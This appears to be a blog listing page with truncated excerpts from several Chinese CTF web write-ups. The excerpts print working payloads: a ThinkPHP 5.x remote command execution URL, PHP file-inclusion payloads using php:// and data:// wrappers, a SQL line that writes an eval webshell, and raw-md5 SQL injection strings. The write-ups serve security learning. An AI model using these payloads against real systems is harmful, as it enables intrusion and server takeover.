XCTF攻防世界 WriteUp(Web)

感觉XCTF这个平台还是8错的,题目量也多质量也还可以,准备后面慢慢刷 新手区还是太简单了。。。这里就不放WriteUp了,直接整进阶区的 平台链接:https://adworld.xctf.org.cn/task baby_web Hint:想想初始页面是哪个 打开页面会自动跳转至1.php,尝试输入index.php访问,然后发现302跳转至1.php,然后在302响应头里找到flag: Training-WWW-Robots 这题。。。已经明示了,访问robots.txt,得到目录/fl0g.php,访问直接拿到flag:cyberpeace{f6c970f5e54f9ddf6964b44b35732dfe} php_rce 这题一打开是一个ThinkPHP的默认界面: 一开始先试了一下,访问一哈404的目录,发现只是返回正常的404界面;然后给主页加一些乱七八糟的参数,返回了错误,错误中泄露了软件版本(后面发现是我蒙中了s参数): 然后呢。。。就没有然后了,找了半天毛都找不到,robots.txt也没有信息。。。 于是百度,发现ThinkPHP 5.x好多版本都有RCE。。。emmm准备后面专门研究一下ThinkPHP的代码,这里先放一个Payload: http://111.198.29.45:41137/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name *flag* 通过这些参数执行了Linux的find指令,找到了flag所在目录/flag,于是执行cat /flag,拿到flag: 当然肯定不止这种解法,就这都任意文件写入了,直接写个马也是没问题的。 参考资料:ThinkPHP5框架缺陷导致远程命令执行、ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析 Web_php_include 源代码已给出: 1 2 3 4 5 6 7 8 9 <?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { $page=str_replace("php://", "", $page); } include($page); ?> 这题好多解法的亚子。。。我想到的就有两种,主要思想就是文件包含和任意命令执行。 双写+php://伪协议 Payload1:?page=PhP://input+POST任意PHP命令 ​ Payload2:?page=PhP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php,解码拿到flag data协议任意命令执行(明文和base64都可) Payload:?page=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4= 还有几种方法是看了别人的WriteUp做的,感觉自己脑洞还不够大。。。 phpMyAdmin 御剑可以扫到phpMyAdmin和phpinfo,而且phpMyAdmin没有密码。。。然后直接登进去输入SQL语句实现本地文件包含: 1 select "<?php eval($_POST['evil']);?>" into outfile "/tmp/evil.php"; 套娃 这个真的难想。。。绕了半天才想清楚...

Mar. 19, 2020 · 8 min · 1665 words

Jarvis OJ WriteUp(Web)

平台链接:https://www.jarvisoj.com/challenges PORT51 题目链接:http://web.jarvisoj.com:32770/ 题目要求使用51端口访问这个网页,于是使用Curl中的--local-port参数即可拿到flag: (查了一下发现也可以通过Socket编程实现,等学完计网编程再来整一个) LOCALHOST 题目链接:http://web.jarvisoj.com:32774/ 提示只能使用localhost地址访问,于是抓包后添加X-Forwarded-For: 127.0.0.1行,提交拿到flag: Login 题目链接:http://web.jarvisoj.com:32772/ 只有一个密码框,抓包发现响应头里面有Hint: Hint: “select * from `admin` where password='".md5($pass,true)."'” 发现md5()函数的第二个参数为true,查询官方文档得知:若第二个参数raw_output设置为true,则返回的是16字节长度的二进制md5数据。所以原理上,只要让md5后的二进制值被解释为字符串后产生注入就可以了。 这里参考了这篇文章的思路:在进行数值比较时,由于MySQL会自动把数字开头的字符串转换成对应的数字,所以尝试让md5后的字符串出现'or'+一个大于0的数字,语句就变为select * from `admin` where password='xxx'or'1xxx',后面的1xxx被自动转换为数字1,变为Bool也就是true了。 当然还可以存在一些变体,如大小写变化和||等,于是一共就有五种情况:'or'、'Or'、'oR'、'OR'和'||'。 于是接下来就可以爆破了。由于数据量太大,百度得到有两个值符合这个要求(以后有时间来爆破一下) content: 129581926211651571912466741651878684928 hex: 06da5430449f8f6f23dfc1276f722738 raw: �T0D��o#��‘or'8 content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw: ‘or'6�]��!r,��b 输入这两个值中的一个,得到flag:PCTF{R4w_md5_is_d4ng3rous} 神盾局的秘密 题目链接:http://web.jarvisoj.com:32768/ 题目打开只有一张图片,查看源代码发现showimg.php使用base64编码数据读取文件: 解码c2hpZWxkLmpwZw==得到shield.jpg,于是尝试使用base64编码访问index.php和showimg.php,拿到源码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // img=aW5kZXgucGhw // index....

Mar. 10, 2020 · 8 min · 1699 words

Bugku论剑场WriteUp(Web)

自己第一次真正意义上开始练习CTF,收获很多,看来还是面向漏洞学习更有效率一点。。。 链接:https://new.bugku.com/challenges/tag/web web26 题目链接:http://123.206.31.85:10026/ 先看看这个正则表达式/\d+/sD的含义: 先是贪婪匹配数字,然后有两个模式限定符,s代表把换行符当作普通字符,即把整个字符串当作单行字符串看待;D表示Dollar符$只匹配至字符串的末尾而不是行末尾。也就是说$str不能包含数字,无论是在开头、末尾还是中间都不行。 于是尝试构造参数num=1&str=a看看会报什么错,发现直接出flag了,,,。。。??? 于是仔细一看,发现运算符and这里有问题。and和&&的运算优先级是不一样的,&&的优先级高于=,而and的优先级则低于=,所以在这里有效的只有赋值运算,后面的and运算由于没有变量来存放运算结果,等于没有。下表是PHP中运算符的优先级排序: 这题真的奇葩。。。被甩flag甩的猝不及防。。。 web1 题目链接:http://123.206.31.85:10001/ 打开网页,里面就一张图片里面有一段PHP代码,很明显就是代码审计题了。 在这里第一次碰到extract()函数,下面是PHP Manual对这个函数的介绍: extract — 从数组中将变量导入到当前的符号表 本函数用来将变量从数组中导入到当前的符号表中。 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。 extract( array &$array[, int $flags = EXTR_OVERWRITE[, string $prefix = NULL]] ) : int 这个函数的必选参数是一个关联数组,函数的功能就是把这个关联数组转化为PHP程序中的变量,并检查是否与已存在变量存在冲突。关联数组里的键名为变量名,键值为变量值。 从这里来看,程序是默认把整个$_GET超全局数组的内容都转化为了变量,也就相当于可以通过GET方法传入变量。后面的if要求$a变量必须存在,且$c变量从$b变量对应的文件中读取内容。如果$a和$c的值相等,则输出flag。 显然服务器上的任何文件我们都是不知道内容的,于是无法通过读取真正的文件来满足要求。于是只能使用PHP伪协议php://input。令POST内容与变量a的内容相同即可得到flag。 看了一下别人的WriteUp,只需要传入a=即可,因为使用file_get_contents()函数去读的文件如果不存在的话,那么会返回false。而空字符串与false做等于运算返回的是true,所以也可以打印出flag。 web9 题目链接:http://123.206.31.85:3031/ 页面打开只有一句话: 这一行字直接暗示(明示)了一些信息:使用PUT方法发送信息bugku即可拿到flag。 使用BurpSuite修改请求头,拿到一段字符串: 进行base64解密,得到flag:flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V} 流量分析 题目文件:点击下载 下载下来是一个WireShark的抓包记录文件,使用WireShark打开,追踪TCP数据流即可拿到flag。 flag:flag{bugku123456} web2 题目链接:http://123.206.31.85:10002/ 网页产生了一个随机生成的算式,算式每3秒刷新一次。要求算出正确答案就可以拿到flag。 单靠算肯定是不行的,于是开始玩蛇,成功拿到flag: 1 2 3 4 5 6 7 8 9 import requests import re session = requests.session() # 创建session r = session....

Oct. 28, 2019 · 6 min · 1251 words

CNSS Recruit 2019 WriteUp

Web部分 True_check_in 题目链接:http://144.202.82.121:23333/ 看到题肯定就先按要求来咯。先算了一下 2 的 33 次方等于多少: 填入结果发现问题:输入框限制了字符串长度,导致了不能够将结果 8589934592 直接输入提交。 尝试传入错误结果,返回 wrong。 于是尝试使用 BurpSuite 进行抓包,截获请求头: 发现用户输入的结果是通过 answer 的值使用 POST 方法传至服务器的,遂通过 BurpSuite 直接修改 answer 的值为 8589934592,然后提交请求,得到 flag: check_in 题目链接:http://47.107.115.177:2333/ 打开页面,发现只有这么一句话,查看源代码没发现什么猫腻,因为源代码也只有这一句话… 再打开审查元素界面看看请求头和响应头,发现了一个陌生的面孔 ETag : 以下是 Wikipedia 对ETag的解释: ETag 是 HTTP 协议提供的若干机制中的一种 Web 缓存验证机制,并且允许客户端进行缓存协商。这就使得缓存变得更加高效,而且节省带宽。如果资源的内容没有发生改变,Web 服务器就不需要发送一个完整的响应。 ETag 是一个不透明的标识符,由 Web 服务器根据 URL 上的资源的特定版本而指定。如果那个 URL 上的资源内容改变,一个新的不一样的 ETag 就会被分配。用这种方法使用 ETag 即类似于指纹,并且他们能够被快速地被比较,以确定两个版本的资源是否相同。 如果 ETag 值匹配,这就意味着资源没有改变,服务器便会发送回一个极短的响应,包含 HTTP “304 未修改” 的状态。 304 状态告诉客户端,它的缓存版本是最新的,并应该使用它。 定睛一看,上面的 HTTP 状态码就是 304。那么更多的页面信息会不会在缓存里面呢? 打开浏览器缓存目录,找到了该页面的 5 个缓存文件:...

Sep. 23, 2019 · 3 min · 585 words

Aegis招新WriteUp

Adventures in PHP (0) 很明显,flag 就在 flag1.php 的 $flag 变量中。 观察发现 $flag 变量必须存在且非 NULL,而且用到了 strcmp() 字符串比较函数。而我输入的值显然不可能等于$flag的值,故只能想办法绕过 strcmp() 函数来达到显示 flag 的目的。 查阅 PHP 官方手册中有关 strcmp() 函数的说明,发现当字符串和数组或一个对象进行比较时会得到 NULL 且返回警告: 所以最简单的办法,就是使用 GET 方法令变量 $flag 为一数组 flag[]=1 即可绕过 strcmp() ,成功得到 flag。 Adventures in PHP (1) 同样很容易看出,flag 就在 flag2.php 的某个变量中。 观察代码,发现需要以 GET 方法读入变量 $args,且 $args 的值必须和正则表达式/^\w+$/匹配,即匹配由数字、26 个英文字母或者下划线组成的字符串,这样才不会进入内层的 if 条件导致程序退出。 接下来是 eval(var_dump($$args););。 eval() 可执行将字符串当成代码来执行,而 var_dump() 可以打印出变量的相关信息。又发现 $$args 是一个可变变量,即变量名为另一个变量,即 $args 。 由于不知道 flag 对应的变量名,所以无法直接传变量名得出 flag,再加上正则表达式的限定,于是联想到了传入超级全局变量数组 $GLOBALS ,即可让 var_dump() 打印出整个程序中所有变量的信息。...

Sep. 22, 2019 · 2 min · 348 words